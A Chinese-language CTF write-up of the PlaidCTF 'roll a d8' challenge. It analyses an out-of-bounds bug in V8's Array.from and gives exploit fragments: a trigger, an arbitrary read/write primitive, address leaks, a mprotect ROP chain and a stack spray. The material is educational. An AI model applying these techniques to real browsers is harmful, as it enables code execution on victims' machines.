v8 exploit入门[PlaidCTF roll a d8]
字数 1013 2025-08-05 08:18:25
V8 Exploit入门:PlaidCTF roll a d8漏洞分析与利用
环境搭建
系统要求
- Ubuntu 16.04 x64
- 需要代理工具(如polipo)
编译V8源码
- 回退到漏洞版本:
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
- 编译Debug模式:
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
- 编译Release模式:
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
V8调试技巧
常用调试函数
-
%DebugPrint(): 打印对象详细信息./d8 --allow-natives-syntax ./test.js -
DebugBreak(): 在CodeStubAssembler代码中插入断点 -
Print(): 在CodeStubAssembler代码中输出变量值 -
readline(): 暂停程序等待输入,方便gdb调试
GDB调试支持
- 复制
/tools/gdbinit和/tools/gdb-v8-support.py到根目录 - 修改
.gdbinit文件添加V8命令支持 - 常用命令:
job: 打印对象信息
漏洞分析
POC代码
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {
[Symbol.iterator]: _ => ({
counter: 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return { done: true };
} else {
return { value: result, done: false };
}
}
})
});
oobArray[oobArray.length - 1] = 0x41414141;
漏洞原理
- 在
Array.from迭代过程中修改了原数组长度 GenerateSetLength函数中错误地将LessThan比较改为NotEqual- 当迭代次数大于数组长度时,直接修改length属性而不调整内存
- 导致数组length属性与实际内存不匹配,造成越界访问
关键函数分析
GenerateSetLength函数逻辑:
void GenerateSetLength(TNode<Context> context, TNode<Object> array, TNode<Number> length) {
// 仅当以下条件满足时才设置length:
// 1) 数组有fast elements
// 2) length可写
// 3) 新length大于等于旧length
// 检查数组是否有fast elements
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
// 如果新length小于旧length,跳转到runtime处理
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
// 否则直接修改length属性
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset, length_smi);
Goto(&done);
}
}
漏洞利用
V8内存模型
-
Tagged Value:
- Smi: 小整数,最低位为0
- 指针: 最低位为1
-
JsObject结构:
[hiddenClass/map] [properties] -> [empty array] [elements] -> [empty array] [reserved #1] [reserved #2] [reserved #3] - in-object属性 -
ArrayBuffer & TypedArray:
- ArrayBuffer: 原始二进制数据缓冲区
- TypedArray: 数据视图,用于操作内存
利用步骤
-
创建越界数组:
var oobArray = [1.1]; var maxSize = 1028 * 8; // 触发漏洞... -
内存搜索与定位:
// 搜索可控的ArrayBuffer for (let i = 0; i < maxSize; i++) { let val = mem.d2u(oobArray[i]); if (val === 0x123400000000) { buf_offset = i; break; } } -
实现任意读写:
class arbitraryRW { read(addr) { // 修改BackingStore指针 oobArray[this.buf_offset + 1] = mem.u2d(addr); // 读取内存 let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10); return mem.d2u(tmp[0]); } write(addr, val) { // 修改BackingStore指针 oobArray[this.buf_offset + 1] = mem.u2d(addr); // 写入内存 let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10); tmp.set([mem.u2d(val)]); } } -
信息泄露:
- 泄露堆地址: 通过ArrayBuffer的BackingStore指针
- 泄露libc基址: 搜索堆内存中的libc指针
- 泄露栈地址: 通过libc中的
environ变量
-
ROP链构造:
let pop_rdi = 0x0000000000021102 + libc_base; let pop_rsi = 0x00000000000202e8 + libc_base; let pop_rdx = 0x0000000000001b92 + libc_base; let mprotect = 0x0000000000101770 + libc_base; let rop = [ pop_rdi, parseInt(shell_addr/0x1000)*0x1000, pop_rsi, 4096, pop_rdx, 7, mprotect, shell_addr ]; -
栈喷射技术:
let retn = 0x000000000007EF0D + libc_base; for (let i = 0; i < 0x100; i++) { rop_start -= 8; arw.write(rop_start, retn); }
完整EXP
class Memory {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
}
// ... 转换方法 ...
}
// 触发漏洞创建越界数组
// 搜索可控对象
// 实现任意读写
// 信息泄露
// ROP链构造
// 栈喷射
// 执行shellcode
总结
- 该漏洞源于
Array.from迭代过程中对数组长度的不当修改 - 利用关键在于通过越界访问控制ArrayBuffer的BackingStore指针
- 通过ROP技术绕过现代浏览器的防护机制
- 需要注意V8版本差异对利用的影响
参考资料
- V8源码与官方文档
- Sakura师傅的V8调试教程
- BrowserSecurity项目中的V8编译指南